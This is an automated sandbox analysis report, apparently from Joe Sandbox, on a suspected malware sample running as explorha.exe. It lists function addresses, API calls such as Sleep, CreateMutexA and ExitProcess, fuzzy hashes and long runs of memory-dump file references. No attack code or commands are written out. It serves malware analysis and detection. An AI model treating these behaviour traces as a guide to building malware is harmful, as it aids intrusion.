Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: @2
API String ID: 3213747228-3701443097
Opcode ID: ee153b33f3398201b26c3dfb3095f2f3fd1ef45e8d267d915f872b587d07e196
Instruction ID: 9d2316076f3c5fc57586df4015c121a5b031741987be853ebe85d74bec87c308
Opcode Fuzzy Hash: ee153b33f3398201b26c3dfb3095f2f3fd1ef45e8d267d915f872b587d07e196
Instruction Fuzzy Hash: D0B147339006959FDB15CF68C881BBEBBE5EF59340F24C1EAE459EB252D6349E01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C78829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C7886B

Strings

.exe, xrefs: 00C78878
.bat, xrefs: 00C7889A
.com, xrefs: 00C788AB
.cmd, xrefs: 00C78889

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 4dde10bb63468601d3aa8d166ee5fd799f45a67b762b07d9b7de926fd5a5a4c2
Instruction ID: 829eadd335ff2da89b92813a530b6126e77410d9d65751529f0b7028af56e460
Opcode Fuzzy Hash: 4dde10bb63468601d3aa8d166ee5fd799f45a67b762b07d9b7de926fd5a5a4c2
Instruction Fuzzy Hash: F2016137A84715253B142019AC06A3B6B989FC1FB476D803EFD7CF71C1EE94DD069196

Uniqueness

Uniqueness Score: -1.00%

Function 00C42DC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C42E5F
__Mtx_unlock.LIBCPMT ref: 00C42ECC
__Mtx_unlock.LIBCPMT ref: 00C42FF5
__Mtx_unlock.LIBCPMT ref: 00C4309B

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 209c891b3c56a1b19f2976011636ea7ad6a637e56c7f926ecf0153ccbd97be1a
Instruction ID: c32d4a6e392898b3ef261a68fb9be1744fe3fb988be59aad69452d9288010b47
Opcode Fuzzy Hash: 209c891b3c56a1b19f2976011636ea7ad6a637e56c7f926ecf0153ccbd97be1a
Instruction Fuzzy Hash: 49A1E0709013169FEB21DFA4C845B5AB7B8FF15315F444269F826D7281EB34EA48CBD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 7460, Parent PID: 7264COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	706
Total number of Limit Nodes:	4

Executed Functions

Function 00B07BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00B07BBA,?,?,?,?,?,00B08C0E), ref: 00B07BF6

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eb940a0010a2df6ae0b769dd548473b0c53e5c05d035adeb7583495c613a6d47
Instruction ID: 196ab8530e8fc6300a21340853aad176c175a49004926e1a1717ba6be5d6b11d
Opcode Fuzzy Hash: eb940a0010a2df6ae0b769dd548473b0c53e5c05d035adeb7583495c613a6d47
Instruction Fuzzy Hash: 67E08C308C9108ABCF26BB18C824E987FDDEB51784F005850F9054A271CF39FD42C580

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8a1fdec6b6279ea8c52e35bba5d23e8ea44ba3470bb9b579bf9519f9fb97e1b5
Instruction ID: 2106e16ae18ec147fa220324c45e7fc99986b56838d1d29a0d737c5cab0d5d33
Opcode Fuzzy Hash: 8a1fdec6b6279ea8c52e35bba5d23e8ea44ba3470bb9b579bf9519f9fb97e1b5
Instruction Fuzzy Hash: 42316771B102408BFB18DB78DD887AEBBB2EB81315F308219E0269B3D5C775D9808791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9547 Relevance: 3.1, APIs: 2, Instructions: 129
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
